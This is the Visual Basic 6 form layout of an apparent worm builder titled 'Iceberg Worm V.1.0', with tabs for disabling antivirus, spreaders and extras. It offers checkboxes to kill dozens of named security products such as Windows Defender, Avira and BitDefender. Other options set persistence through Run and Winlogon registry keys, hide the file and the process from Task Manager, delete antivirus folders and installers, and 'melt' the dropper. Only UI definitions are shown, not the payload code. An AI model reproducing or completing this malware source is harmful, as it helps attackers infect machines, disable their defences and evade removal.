VERSION 5.00
Object = "{BD0C1912-66C3-49CC-8B12-7B347BF6C846}#13.4#0"; "COAAB5~1.OCX"
Object = "{48E59290-9880-11CF-9754-00AA00C00908}#1.0#0"; "MSINET.OCX"
Object = "{7E02BD11-35B7-472C-8187-1538973C2A67}#32.0#0"; "NotifyIcon.ocx"
Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "COMDLG32.OCX"
Object = "{9664F006-7A8C-474C-AF49-1D761EBE5855}#1.0#0"; "PrjXTabX.ocx"
Begin VB.Form Form1 
   AutoRedraw      =   -1  'True
   BorderStyle     =   1  'Fixed Single
   Caption         =   "Iceberg Worm V.1.0"
   ClientHeight    =   8685
   ClientLeft      =   285
   ClientTop       =   615
   ClientWidth     =   11025
   Icon            =   "Slore.frx":0000
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   ScaleHeight     =   8685
   ScaleWidth      =   11025
   StartUpPosition =   2  'CenterScreen
   Begin MSComDlg.CommonDialog CommonDialog1 
      Left            =   9120
      Top             =   0
      _ExtentX        =   847
      _ExtentY        =   847
      _Version        =   393216
   End
   Begin VB.CommandButton SkullButton 
      Caption         =   "Create"
      Height          =   255
      Left            =   0
      TabIndex        =   34
      Top             =   7920
      Width           =   10935
   End
   Begin prjXTab.XTab XTab1 
      Height          =   5775
      Left            =   0
      TabIndex        =   3
      Top             =   2040
      Width           =   10935
      _ExtentX        =   19288
      _ExtentY        =   10186
      TabCount        =   5
      TabCaption(0)   =   "General"
      TabPicture(0)   =   "Slore.frx":5882
      TabContCtrlCnt(0)=   8
      Tab(0)ContCtrlCap(1)=   "Frame23"
      Tab(0)ContCtrlCap(2)=   "rubd"
      Tab(0)ContCtrlCap(3)=   "Frame43"
      Tab(0)ContCtrlCap(4)=   "Frame42"
      Tab(0)ContCtrlCap(5)=   "Frame40"
      Tab(0)ContCtrlCap(6)=   "frame39"
      Tab(0)ContCtrlCap(7)=   "Frame22"
      Tab(0)ContCtrlCap(8)=   "Frame20"
      TabCaption(1)   =   "Disable Avs"
      TabPicture(1)   =   "Slore.frx":5B9C
      TabContCtrlCnt(1)=   3
      Tab(1)ContCtrlCap(1)=   "Frame2"
      Tab(1)ContCtrlCap(2)=   "Frame33"
      Tab(1)ContCtrlCap(3)=   "Frame32"
      TabCaption(2)   =   "Spreader's"
      TabPicture(2)   =   "Slore.frx":5EB6
      TabContCtrlCnt(2)=   2
      Tab(2)ContCtrlCap(1)=   "Frame37"
      Tab(2)ContCtrlCap(2)=   "Frame29"
      TabCaption(3)   =   "Disable"
      TabPicture(3)   =   "Slore.frx":61D0
      TabContCtrlCnt(3)=   3
      Tab(3)ContCtrlCap(1)=   "Frame14"
      Tab(3)ContCtrlCap(2)=   "Frame12"
      Tab(3)ContCtrlCap(3)=   "Frame11"
      TabCaption(4)   =   "Extras"
      TabPicture(4)   =   "Slore.frx":64EA
      TabContCtrlCnt(4)=   5
      Tab(4)ContCtrlCap(1)=   "Frame44"
      Tab(4)ContCtrlCap(2)=   "Frame38"
      Tab(4)ContCtrlCap(3)=   "Frame36"
      Tab(4)ContCtrlCap(4)=   "Frame28"
      Tab(4)ContCtrlCap(5)=   "Frame27"
      BeginProperty ActiveTabFont {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
         Name            =   "Georgia"
         Size            =   8.25
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      BeginProperty InActiveTabFont {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
         Name            =   "Palatino Linotype"
         Size            =   8.25
         Charset         =   0
         Weight          =   400
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      DisabledTabBackColor=   -2147483633
      DisabledTabForeColor=   -2147483627
      PictureSize     =   1
      Begin VB.Frame Frame44 
         Height          =   4095
         Left            =   -74880
         TabIndex        =   214
         Top             =   480
         Width           =   6015
         Begin VB.CommandButton TestMsgButton 
            Caption         =   "Test"
            Enabled         =   0   'False
            Height          =   255
            Left            =   120
            TabIndex        =   234
            Top             =   3720
            Width           =   5775
         End
         Begin VB.Frame Frame7 
            Caption         =   "Icon"
            Height          =   1335
            Left            =   2760
            TabIndex        =   228
            Top             =   2280
            Width           =   3135
            Begin VB.OptionButton QuestionIcon 
               Caption         =   "Question"
               Enabled         =   0   'False
               Height          =   255
               Left            =   120
               TabIndex        =   233
               Tag             =   "Msgbox"
               Top             =   960
               Width           =   1095
            End
            Begin VB.OptionButton CriticalIcon 
               Caption         =   "Critical"
               Enabled         =   0   'False
               Height          =   255
               Left            =   1680
               TabIndex        =   232
               Tag             =   "Msgbox"
               Top             =   600
               Width           =   1215
            End
            Begin VB.OptionButton ExclamationIcon 
               Caption         =   "Exclamation"
               Enabled         =   0   'False
               Height          =   255
               Left            =   120
               TabIndex        =   231
               Tag             =   "Msgbox"
               Top             =   600
               Width           =   1215
            End
            Begin VB.OptionButton InfoIcon 
               Caption         =   "Information"
               Enabled         =   0   'False
               Height          =   255
               Left            =   1680
               TabIndex        =   230
               Tag             =   "Msgbox"
               Top             =   240
               Width           =   1095
            End
            Begin VB.OptionButton Noicon 
               Caption         =   "None"
               Enabled         =   0   'False
               Height          =   255
               Left            =   120
               TabIndex        =   229
               Tag             =   "Msgbox"
               Top             =   240
               Value           =   -1  'True
               Width           =   855
            End
         End
         Begin VB.Frame Frame9 
            Caption         =   "Message text:"
            Height          =   615
            Left            =   2760
            TabIndex        =   226
            Top             =   1560
            Width           =   3135
            Begin VB.TextBox MsgBoxText_T_ 
               Enabled         =   0   'False
               Height          =   285
               Left            =   120
               TabIndex        =   227
               Tag             =   "Msgbox"
               Top             =   240
               Width           =   2895
            End
         End
         Begin VB.Frame Frame8 
            Caption         =   "Message title:"
            Height          =   615
            Left            =   2760
            TabIndex        =   224
            Top             =   960
            Width           =   3135
            Begin VB.TextBox MsgBoxTitle_T_ 
               Enabled         =   0   'False
               Height          =   285
               Left            =   120
               TabIndex        =   225
               Tag             =   "Msgbox"
               Top             =   240
               Width           =   2895
            End
         End
         Begin VB.Frame Frame6 
            Caption         =   "Botones"
            Height          =   2655
            Left            =   120
            TabIndex        =   217
            Top             =   960
            Width           =   2535
            Begin VB.OptionButton AbortRetryIgnoreButtons 
               Caption         =   "Abort / Retry / Ignore"
               Enabled         =   0   'False
               Height          =   375
               Left            =   120
               TabIndex        =   223
               Tag             =   "Msgbox"
               Top             =   2160
               Width           =   2295
            End
            Begin VB.OptionButton YesNoCancelButtons 
               Caption         =   "Yes / No / Cancel"
               Enabled         =   0   'False
               Height          =   255
               Left            =   120
               TabIndex        =   222
               Tag             =   "Msgbox"
               Top             =   1800
               Width           =   2175
            End
            Begin VB.OptionButton YesNoButtons 
               Caption         =   "Yes / No"
               Enabled         =   0   'False
               Height          =   255
               Left            =   120
               TabIndex        =   221
               Tag             =   "Msgbox"
               Top             =   1440
               Width           =   2055
            End
            Begin VB.OptionButton RetryCancelButtons 
               Caption         =   "Retry / Cancel"
               Enabled         =   0   'False
               Height          =   255
               Left            =   120
               TabIndex        =   220
               Tag             =   "Msgbox"
               Top             =   1080
               Width           =   2175
            End
            Begin VB.OptionButton OkCancelButtons 
               Caption         =   "OK / Cancel"
               Enabled         =   0   'False
               Height          =   255
               Left            =   120
               TabIndex        =   219
               Tag             =   "Msgbox"
               Top             =   720
               Width           =   2175
            End
            Begin VB.OptionButton OkButton 
               Caption         =   "OK"
               Enabled         =   0   'False
               Height          =   255
               Left            =   120
               TabIndex        =   218
               Tag             =   "Msgbox"
               Top             =   360
               Value           =   -1  'True
               Width           =   2055
            End
         End
         Begin VB.Frame Frame10 
            Caption         =   "Activate Function"
            Height          =   615
            Left            =   120
            TabIndex        =   215
            Top             =   240
            Width           =   5775
            Begin VB.CheckBox CheckMsgBox 
               Caption         =   "Activate MsgBox on execution"
               Height          =   255
               Left            =   240
               TabIndex        =   216
               Tag             =   "Msgbox"
               Top             =   240
               Width           =   5415
            End
         End
      End
      Begin VB.Frame Frame23 
         Caption         =   "Melt"
         Height          =   615
         Left            =   9120
         TabIndex        =   212
         Top             =   3240
         Width           =   1695
         Begin VB.CheckBox CheckMelt 
            Caption         =   "Melt"
            Height          =   255
            Left            =   240
            TabIndex        =   213
            Tag             =   "Melt"
            Top             =   240
            Width           =   975
         End
      End
      Begin VB.Frame rubd 
         Caption         =   "Mutex"
         Height          =   615
         Left            =   9120
         TabIndex        =   210
         Top             =   4080
         Width           =   1695
         Begin VB.CheckBox CheckMutex 
            Caption         =   "Mutex"
            Height          =   255
            Left            =   240
            TabIndex        =   211
            Tag             =   "Mutex"
            Top             =   240
            Width           =   975
         End
      End
      Begin VB.Frame Frame38 
         Caption         =   "[ Delete cookies Internet Explorer ]"
         Height          =   615
         Left            =   -74880
         TabIndex        =   208
         Top             =   5040
         Width           =   10695
         Begin VB.CheckBox DeleteCookiesIe 
            Caption         =   "Delete Cookies"
            Height          =   255
            Left            =   120
            TabIndex        =   209
            Tag             =   "DeleteCookies"
            Top             =   240
            Width           =   3255
         End
      End
      Begin VB.Frame Frame43 
         Caption         =   "Especial"
         Height          =   2415
         Left            =   6240
         TabIndex        =   201
         Top             =   600
         Width           =   4575
         Begin VB.Frame Frame25 
            Caption         =   "Delete protection installers"
            Height          =   615
            Left            =   120
            TabIndex        =   206
            Top             =   1680
            Width           =   4335
            Begin VB.CheckBox CheckDeleteProtectionInstallers 
               Caption         =   "Delete protection installers"
               Height          =   255
               Left            =   120
               TabIndex        =   207
               Tag             =   "Especial"
               Top             =   240
               Width           =   3975
            End
         End
         Begin VB.Frame Hidetskmananger 
            Caption         =   "Hide in Task Manager"
            Height          =   615
            Left            =   120
            TabIndex        =   204
            Top             =   960
            Width           =   4335
            Begin VB.CheckBox Checkhideintask 
               Caption         =   "Hide in Task Manager"
               Height          =   255
               Left            =   120
               TabIndex        =   205
               Tag             =   "Especial"
               Top             =   240
               Width           =   3975
            End
         End
         Begin VB.Frame Frame26 
            Caption         =   "Delete protection software folder"
            Height          =   615
            Left            =   120
            TabIndex        =   202
            Top             =   240
            Width           =   4335
            Begin VB.CheckBox CheckCapetaKiller 
               Caption         =   "Delete Avs folder"
               Height          =   255
               Left            =   120
               TabIndex        =   203
               Tag             =   "Especial"
               Top             =   240
               Width           =   3375
            End
         End
      End
      Begin VB.Frame Frame42 
         Caption         =   "Install"
         Height          =   4215
         Left            =   120
         TabIndex        =   181
         Top             =   600
         Width           =   6015
         Begin VB.Frame Frame21 
            Caption         =   "Registry value name"
            Height          =   615
            Left            =   2760
            TabIndex        =   199
            Top             =   3480
            Width           =   3135
            Begin VB.TextBox RegistryValueName_T_ 
               Enabled         =   0   'False
               Height          =   285
               Left            =   120
               TabIndex        =   200
               Tag             =   "Install"
               Text            =   "Iceberg"
               Top             =   240
               Width           =   2895
            End
         End
         Begin VB.Frame Frame24 
            Height          =   1815
            Left            =   2760
            TabIndex        =   194
            Top             =   1560
            Width           =   3135
            Begin VB.Frame Frame34 
               Height          =   615
               Left            =   120
               TabIndex        =   197
               Top             =   120
               Width           =   2895
               Begin VB.CheckBox SetAttributes 
                  Caption         =   "Hide file (set attributes)"
                  Enabled         =   0   'False
                  Height          =   255
                  Left            =   120
                  TabIndex        =   198
                  Tag             =   "Install"
                  Top             =   240
                  Width           =   2655
               End
            End
            Begin VB.Frame Frame35 
               Height          =   615
               Left            =   120
               TabIndex        =   195
               Top             =   1080
               Width           =   2895
               Begin VB.CheckBox PersistentInstall 
                  Caption         =   "Persistent installation"
                  Enabled         =   0   'False
                  Height          =   255
                  Left            =   120
                  TabIndex        =   196
                  Tag             =   "Install"
                  Top             =   240
                  Width           =   2175
               End
            End
         End
         Begin VB.Frame Frame19 
            Caption         =   "Startup methods"
            Height          =   2535
            Left            =   120
            TabIndex        =   187
            Top             =   1560
            Width           =   2535
            Begin VB.CheckBox CheckCUrun 
               Caption         =   "Current User\Run"
               Enabled         =   0   'False
               Height          =   255
               Left            =   240
               TabIndex        =   193
               Tag             =   "Install"
               Top             =   360
               Width           =   2055
            End
            Begin VB.CheckBox CheckLMrun 
               Caption         =   "Local Machine\Run"
               Enabled         =   0   'False
               Height          =   255
               Left            =   240
               TabIndex        =   192
               Tag             =   "Install"
               Top             =   720
               Width           =   1815
            End
            Begin VB.CheckBox CheckShell 
               Caption         =   "Winlogon\Shell"
               Enabled         =   0   'False
               Height          =   255
               Left            =   240
               TabIndex        =   191
               Tag             =   "Install"
               Top             =   1080
               Width           =   2055
            End
            Begin VB.CheckBox CheckUserinit 
               Caption         =   "Winlogon\Userinit"
               Enabled         =   0   'False
               Height          =   255
               Left            =   240
               TabIndex        =   190
               Tag             =   "Install"
               Top             =   1440
               Width           =   1815
            End
            Begin VB.CheckBox CheckExplorerRun 
               Caption         =   "Explorer\Run"
               Enabled         =   0   'False
               Height          =   255
               Left            =   240
               TabIndex        =   189
               Tag             =   "Install"
               Top             =   1800
               Width           =   2055
            End
            Begin VB.CheckBox CheckStartupPersistent 
               Caption         =   "Startup Persistent"
               Enabled         =   0   'False
               Height          =   255
               Left            =   240
               TabIndex        =   188
               Tag             =   "Install"
               Top             =   2160
               Width           =   1935
            End
         End
         Begin VB.Frame Frame17 
            Caption         =   "Installation directory and filename"
            Height          =   855
            Left            =   120
            TabIndex        =   183
            Top             =   600
            Width           =   5775
            Begin VB.ComboBox InstallPath_T_ 
               Enabled         =   0   'False
               Height          =   315
               ItemData        =   "Slore.frx":6804
               Left            =   240
               List            =   "Slore.frx":681D
               TabIndex        =   186
               Tag             =   "Install"
               Text            =   "system32"
               Top             =   360
               Width           =   2295
            End
            Begin VB.Frame Frame18 
               Height          =   615
               Left            =   2880
               TabIndex        =   184
               Top             =   120
               Width           =   2775
               Begin VB.TextBox TextInstall_T_ 
                  Enabled         =   0   'False
                  Height          =   285
                  Left            =   120
                  TabIndex        =   185
                  Tag             =   "Install"
                  Text            =   "Iceberg.exe"
                  Top             =   240
                  Width           =   2535
               End
            End
         End
         Begin VB.CheckBox CheckInstall 
            Caption         =   "Copy file"
            Height          =   255
            Left            =   120
            TabIndex        =   182
            Tag             =   "Install"
            Top             =   240
            Width           =   2055
         End
      End
      Begin VB.Frame Frame40 
         Caption         =   "[ Iceberg Worm Running ]"
         Height          =   1455
         Left            =   6240
         TabIndex        =   179
         Top             =   3240
         Width           =   2775
         Begin VB.Frame Frame41 
            Caption         =   "Without internet"
            Height          =   1095
            Left            =   120
            TabIndex        =   180
            Top             =   240
            Width           =   2535
            Begin VB.CheckBox CheckWithoutinternet 
               Caption         =   "Not run Iceberg"
               Height          =   255
               Left            =   600
               TabIndex        =   235
               Tag             =   "NotRun"
               Top             =   480
               Width           =   1575
            End
         End
      End
      Begin VB.Frame frame39 
         Caption         =   "[ Protect Process ]"
         Height          =   615
         Left            =   7560
         TabIndex        =   177
         Top             =   4920
         Width           =   3255
         Begin VB.CheckBox CheckProtectProcess 
            Caption         =   "Protect Process [ XP ]"
            Height          =   255
            Left            =   120
            TabIndex        =   178
            Tag             =   "Protect Process"
            Top             =   240
            Width           =   2055
         End
      End
      Begin VB.Frame Frame37 
         Caption         =   "Option"
         Height          =   615
         Left            =   -74880
         TabIndex        =   175
         Top             =   5040
         Width           =   10695
         Begin VB.CheckBox CheckAllSpreaders 
            Caption         =   "Select / Deselect"
            Height          =   255
            Left            =   120
            TabIndex        =   176
            Top             =   240
            Width           =   2895
         End
      End
      Begin VB.Frame Frame36 
         Caption         =   "[ Clone Info ]"
         Height          =   1335
         Left            =   -68760
         TabIndex        =   167
         Top             =   480
         Width           =   4575
         Begin VB.TextBox txtSource 
            Height          =   285
            Left            =   120
            TabIndex        =   172
            Top             =   240
            Width           =   2055
         End
         Begin VB.CommandButton cmdBrowse 
            Caption         =   "File"
            Height          =   255
            Left            =   120
            TabIndex        =   171
            Top             =   600
            Width           =   2055
         End
         Begin VB.TextBox txtDestination 
            Height          =   285
            Left            =   2280
            TabIndex        =   170
            Top             =   240
            Width           =   2175
         End
         Begin VB.CommandButton cmdBrowse2 
            Caption         =   "Destiny"
            Height          =   255
            Left            =   2280
            TabIndex        =   169
            Top             =   600
            Width           =   2175
         End
         Begin VB.CommandButton cmdClone 
            Caption         =   "Clone"
            Height          =   255
            Left            =   120
            TabIndex        =   168
            Top             =   960
            Width           =   4335
         End
         Begin MSComDlg.CommonDialog dlg 
            Left            =   2400
            Top             =   1080
            _ExtentX        =   847
            _ExtentY        =   847
            _Version        =   393216
         End
      End
      Begin VB.Frame Frame2 
         Caption         =   "Option"
         Height          =   615
         Left            =   -74880
         TabIndex        =   159
         Top             =   4440
         Width           =   10695
         Begin VB.CheckBox CheckAllAVS 
            Caption         =   "Select All  /  Deselect All"
            Height          =   255
            Left            =   120
            TabIndex        =   160
            Top             =   240
            Width           =   2415
         End
      End
      Begin VB.Frame Frame33 
         Caption         =   "Pages"
         Height          =   615
         Left            =   -74880
         TabIndex        =   95
         Top             =   5040
         Width           =   10695
         Begin VB.CommandButton Command8 
            Caption         =   "4"
            Height          =   255
            Left            =   1200
            TabIndex        =   99
            Top             =   240
            Width           =   255
         End
         Begin VB.CommandButton Command5 
            Caption         =   "3"
            Height          =   255
            Left            =   840
            TabIndex        =   98
            Top             =   240
            Width           =   255
         End
         Begin VB.CommandButton Command4 
            Caption         =   "2"
            Height          =   255
            Left            =   480
            TabIndex        =   97
            Top             =   240
            Width           =   255
         End
         Begin VB.CommandButton Command3 
            Caption         =   "1"
            Height          =   255
            Left            =   120
            TabIndex        =   96
            Top             =   240
            Width           =   255
         End
      End
      Begin VB.Frame Frame32 
         Height          =   3855
         Left            =   -74880
         TabIndex        =   75
         Top             =   480
         Width           =   10695
         Begin VB.PictureBox r4 
            AutoRedraw      =   -1  'True
            AutoSize        =   -1  'True
            Height          =   3480
            Left            =   2400
            Picture         =   "Slore.frx":6869
            ScaleHeight     =   3420
            ScaleWidth      =   5880
            TabIndex        =   138
            Top             =   240
            Width           =   5940
            Begin VB.CheckBox MATAPREVX 
               Caption         =   "Check1"
               Height          =   255
               Left            =   5280
               TabIndex        =   156
               Tag             =   "Avs"
               Top             =   3120
               Width           =   255
            End
            Begin VB.CheckBox MATATINYWALL 
               Caption         =   "Check1"
               Height          =   255
               Left            =   5280
               TabIndex        =   155
               Tag             =   "Avs"
               Top             =   2040
               Width           =   255
            End
            Begin VB.CheckBox MATAAUTORUNS 
               Caption         =   "Check1"
               Height          =   255
               Left            =   5280
               TabIndex        =   154
               Tag             =   "Avs"
               Top             =   960
               Width           =   255
            End
            Begin VB.CheckBox MATAVIRUSTOTAL 
               Caption         =   "Check1"
               Height          =   255
               Left            =   4440
               TabIndex        =   153
               Tag             =   "Avs"
               Top             =   3120
               Width           =   255
            End
            Begin VB.CheckBox MATASWIFT 
               Caption         =   "Check1"
               Height          =   255
               Left            =   4440
               TabIndex        =   152
               Tag             =   "Avs"
               Top             =   2040
               Width           =   255
            End
            Begin VB.CheckBox MATACOMENTBIRD 
               Caption         =   "Check1"
               Height          =   255
               Left            =   4440
               TabIndex        =   151
               Tag             =   "Avs"
               Top             =   960
               Width           =   255
            End
            Begin VB.CheckBox MATAXOFTSPYSE 
               Caption         =   "Check1"
               Height          =   255
               Left            =   3480
               TabIndex        =   150
               Tag             =   "Avs"
               Top             =   3120
               Width           =   255
            End
            Begin VB.CheckBox MATAYOURFREEAS 
               Caption         =   "Check1"
               Height          =   255
               Left            =   2520
               TabIndex        =   149
               Tag             =   "Avs"
               Top             =   3120
               Width           =   255
            End
            Begin VB.CheckBox MATADIGITALD 
               Caption         =   "Check1"
               Height          =   255
               Left            =   1320
               TabIndex        =   148
               Tag             =   "Avs"
               Top             =   3120
               Width           =   255
            End
            Begin VB.CheckBox MATASPYSWEEPER 
               Caption         =   "Check1"
               Height          =   255
               Left            =   360
               TabIndex        =   147
               Tag             =   "Avs"
               Top             =   3120
               Width           =   255
            End
            Begin VB.CheckBox MATASPYWAREBLASTER 
               Caption         =   "Check1"
               Height          =   255
               Left            =   3480
               TabIndex        =   146
               Tag             =   "Avs"
               Top             =   2040
               Width           =   255
            End
            Begin VB.CheckBox MATAARGENTE 
               Caption         =   "Check1"
               Height          =   255
               Left            =   2520
               TabIndex        =   145
               Tag             =   "Avs"
               Top             =   2040
               Width           =   255
            End
            Begin VB.CheckBox MATASPAMFIGHTER 
               Caption         =   "Check1"
               Height          =   255
               Left            =   1320
               TabIndex        =   144
               Tag             =   "Avs"
               Top             =   2040
               Width           =   255
            End
            Begin VB.CheckBox MATASANITY 
               Caption         =   "Check1"
               Height          =   255
               Left            =   3480
               TabIndex        =   143
               Tag             =   "Avs"
               Top             =   960
               Width           =   255
            End
            Begin VB.CheckBox MATALITTLEINTELIGENT 
               Caption         =   "Check1"
               Height          =   255
               Left            =   2520
               TabIndex        =   142
               Tag             =   "Avs"
               Top             =   960
               Width           =   255
            End
            Begin VB.CheckBox MATAAVTROJAN 
               Caption         =   "Check1"
               Height          =   255
               Left            =   1320
               TabIndex        =   141
               Tag             =   "Avs"
               Top             =   960
               Width           =   255
            End
            Begin VB.CheckBox MATASPYWARET 
               Caption         =   "Check1"
               Height          =   255
               Left            =   360
               TabIndex        =   140
               Tag             =   "Avs"
               Top             =   2040
               Width           =   255
            End
            Begin VB.CheckBox MATADEBANK 
               Caption         =   "Check1"
               Height          =   255
               Left            =   360
               TabIndex        =   139
               Tag             =   "Avs"
               Top             =   960
               Width           =   255
            End
         End
         Begin VB.PictureBox r3 
            AutoRedraw      =   -1  'True
            AutoSize        =   -1  'True
            Height          =   3480
            Left            =   2400
            Picture         =   "Slore.frx":19568
            ScaleHeight     =   3420
            ScaleWidth      =   5880
            TabIndex        =   119
            Top             =   240
            Width           =   5940
            Begin VB.CheckBox MATAARCAVIR 
               Caption         =   "Check1"
               Height          =   255
               Left            =   5280
               TabIndex        =   137
               Tag             =   "Avs"
               Top             =   3000
               Width           =   255
            End
            Begin VB.CheckBox MATABITDEFENDER 
               Caption         =   "Check1"
               Height          =   255
               Left            =   5280
               TabIndex        =   136
               Tag             =   "Avs"
               Top             =   2040
               Width           =   255
            End
            Begin VB.CheckBox MATAPANDA 
               Caption         =   "Check1"
               Height          =   255
               Left            =   5280
               TabIndex        =   135
               Tag             =   "Avs"
               Top             =   840
               Width           =   255
            End
            Begin VB.CheckBox MATAADWARE 
               Caption         =   "Check1"
               Height          =   255
               Left            =   4440
               TabIndex        =   134
               Tag             =   "Avs"
               Top             =   3000
               Width           =   255
            End
            Begin VB.CheckBox MATAAVG 
               Caption         =   "Check1"
               Height          =   255
               Left            =   4440
               TabIndex        =   133
               Tag             =   "Avs"
               Top             =   2040
               Width           =   255
            End
            Begin VB.CheckBox MATAAVIRA 
               Caption         =   "Check1"
               Height          =   255
               Left            =   4440
               TabIndex        =   132
               Tag             =   "Avs"
               Top             =   840
               Width           =   255
            End
            Begin VB.CheckBox MATAESSENTIALS 
               Caption         =   "Check1"
               Height          =   255
               Left            =   480
               TabIndex        =   131
               Tag             =   "Avs"
               Top             =   840
               Width           =   255
            End
            Begin VB.CheckBox MATACOMODO 
               Caption         =   "Check2"
               Height          =   255
               Left            =   1560
               TabIndex        =   130
               Tag             =   "Avs"
               Top             =   840
               Width           =   255
            End
            Begin VB.CheckBox MATAIKARUS 
               Caption         =   "Check3"
               Height          =   255
               Left            =   2640
               TabIndex        =   129
               Tag             =   "Avs"
               Top             =   840
               Width           =   255
            End
            Begin VB.CheckBox MATAMCFEE 
               Caption         =   "Check4"
               Height          =   255
               Left            =   3600
               TabIndex        =   128
               Tag             =   "Avs"
               Top             =   840
               Width           =   255
            End
            Begin VB.CheckBox MATAVIPRE 
               Caption         =   "Check1"
               Height          =   255
               Left            =   480
               TabIndex        =   127
               Tag             =   "Avs"
               Top             =   2040
               Width           =   255
            End
            Begin VB.CheckBox MATABUSTER 
               Caption         =   "Check1"
               Height          =   255
               Left            =   1560
               TabIndex        =   126
               Tag             =   "Avs"
               Top             =   2040
               Width           =   255
            End
            Begin VB.CheckBox MATACLAM 
               Caption         =   "Check1"
               Height          =   255
               Left            =   2640
               TabIndex        =   125
               Tag             =   "Avs"
               Top             =   2040
               Width           =   255
            End
            Begin VB.CheckBox MATAAVASTPRO 
               Caption         =   "Check1"
               Height          =   255
               Left            =   480
               TabIndex        =   124
               Tag             =   "Avs"
               Top             =   3000
               Width           =   255
            End
            Begin VB.CheckBox MATADRWEB 
               Caption         =   "Check1"
               Height          =   255
               Left            =   1560
               TabIndex        =   123
               Tag             =   "Avs"
               Top             =   3000
               Width           =   255
            End
            Begin VB.CheckBox MATASOPHOS 
               Caption         =   "Check1"
               Height          =   255
               Left            =   2640
               TabIndex        =   122
               Tag             =   "Avs"
               Top             =   3000
               Width           =   255
            End
            Begin VB.CheckBox MATARISING 
               Caption         =   "Check12"
               Height          =   255
               Left            =   3600
               TabIndex        =   121
               Tag             =   "Avs"
               Top             =   3000
               Width           =   255
            End
            Begin VB.CheckBox MATAFSECURE 
               Caption         =   "Check12"
               Height          =   255
               Left            =   3600
               TabIndex        =   120
               Tag             =   "Avs"
               Top             =   2040
               Width           =   255
            End
         End
         Begin VB.PictureBox r2 
            AutoRedraw      =   -1  'True
            AutoSize        =   -1  'True
            Height          =   3480
            Left            =   2400
            Picture         =   "Slore.frx":29DAD
            ScaleHeight     =   3420
            ScaleWidth      =   5880
            TabIndex        =   100
            Top             =   240
            Width           =   5940
            Begin VB.CheckBox MATATRUSTPORT 
               Caption         =   "Check1"
               Height          =   255
               Left            =   5280
               TabIndex        =   118
               Tag             =   "Avs"
               Top             =   3120
               Width           =   255
            End
            Begin VB.CheckBox MATASTANDALONE 
               Caption         =   "Check1"
               Height          =   255
               Left            =   5280
               TabIndex        =   117
               Tag             =   "Avs"
               Top             =   2040
               Width           =   255
            End
            Begin VB.CheckBox MATACOMBOFIX 
               Caption         =   "Check1"
               Height          =   255
               Left            =   5280
               TabIndex        =   116
               Tag             =   "Avs"
               Top             =   960
               Width           =   255
            End
            Begin VB.CheckBox MATAANTIRUN 
               Caption         =   "Check1"
               Height          =   255
               Left            =   4320
               TabIndex        =   115
               Tag             =   "Avs"
               Top             =   3120
               Width           =   255
            End
            Begin VB.CheckBox MATAESCAN 
               Caption         =   "Check1"
               Height          =   255
               Left            =   4320
               TabIndex        =   114
               Tag             =   "Avs"
               Top             =   2040
               Width           =   255
            End
            Begin VB.CheckBox MATAHITMAN 
               Caption         =   "Check1"
               Height          =   255
               Left            =   4320
               TabIndex        =   113
               Tag             =   "Avs"
               Top             =   960
               Width           =   255
            End
            Begin VB.CheckBox MATAGUCUP 
               Caption         =   "Check1"
               Height          =   255
               Left            =   3360
               TabIndex        =   112
               Tag             =   "Avs"
               Top             =   3120
               Width           =   255
            End
            Begin VB.CheckBox MATAXRAY 
               Caption         =   "Check1"
               Height          =   255
               Left            =   3360
               TabIndex        =   111
               Tag             =   "Avs"
               Top             =   2040
               Width           =   255
            End
            Begin VB.CheckBox MATAORION 
               Caption         =   "Check1"
               Height          =   255
               Left            =   3360
               TabIndex        =   110
               Tag             =   "Avs"
               Top             =   960
               Width           =   255
            End
            Begin VB.CheckBox MATASUPERANTIS 
               Caption         =   "Check1"
               Height          =   255
               Left            =   2400
               TabIndex        =   109
               Tag             =   "Avs"
               Top             =   3120
               Width           =   255
            End
            Begin VB.CheckBox MATAAVZ 
               Caption         =   "Check1"
               Height          =   255
               Left            =   2400
               TabIndex        =   108
               Tag             =   "Avs"
               Top             =   2040
               Width           =   255
            End
            Begin VB.CheckBox MATASHARDANA 
               Caption         =   "Check1"
               Height          =   255
               Left            =   2400
               TabIndex        =   107
               Tag             =   "Avs"
               Top             =   960
               Width           =   255
            End
            Begin VB.CheckBox MATASYSTEMMECHANIC 
               Caption         =   "Check1"
               Height          =   255
               Left            =   1320
               TabIndex        =   106
               Tag             =   "Avs"
               Top             =   2040
               Width           =   255
            End
            Begin VB.CheckBox MATASTARTUPEYE 
               Caption         =   "Check1"
               Height          =   255
               Left            =   1320
               TabIndex        =   105
               Tag             =   "Avs"
               Top             =   3120
               Width           =   255
            End
            Begin VB.CheckBox MATACA 
               Caption         =   "Check1"
               Height          =   255
               Left            =   360
               TabIndex        =   104
               Tag             =   "Avs"
               Top             =   3120
               Width           =   255
            End
            Begin VB.CheckBox MATAANSAV 
               Caption         =   "Check1"
               Height          =   255
               Left            =   360
               TabIndex        =   103
               Tag             =   "Avs"
               Top             =   2040
               Width           =   255
            End
            Begin VB.CheckBox MATAANTIMALWARE 
               Caption         =   "Check1"
               Height          =   255
               Left            =   1320
               TabIndex        =   102
               Tag             =   "Avs"
               Top             =   960
               Width           =   255
            End
            Begin VB.CheckBox MATAJOTTIQ 
               Caption         =   "Check1"
               Height          =   255
               Left            =   360
               TabIndex        =   101
               Tag             =   "Avs"
               Top             =   960
               Width           =   255
            End
         End
         Begin VB.PictureBox r1 
            AutoRedraw      =   -1  'True
            AutoSize        =   -1  'True
            Height          =   3480
            Left            =   2400
            Picture         =   "Slore.frx":3AE35
            ScaleHeight     =   3420
            ScaleWidth      =   5880
            TabIndex        =   76
            Top             =   240
            Width           =   5940
            Begin VB.CheckBox MATAZENOK 
               Caption         =   "Check1"
               Height          =   255
               Left            =   5280
               TabIndex        =   94
               Tag             =   "Avs"
               Top             =   3000
               Width           =   255
            End
            Begin VB.CheckBox MATATROJANREMOVE 
               Caption         =   "Check1"
               Height          =   255
               Left            =   5280
               TabIndex        =   93
               Tag             =   "Avs"
               Top             =   1920
               Width           =   255
            End
            Begin VB.CheckBox MATAWINDOWSDEFENDER 
               Caption         =   "Check1"
               Height          =   255
               Left            =   5280
               TabIndex        =   92
               Tag             =   "Avs"
               Top             =   840
               Width           =   255
            End
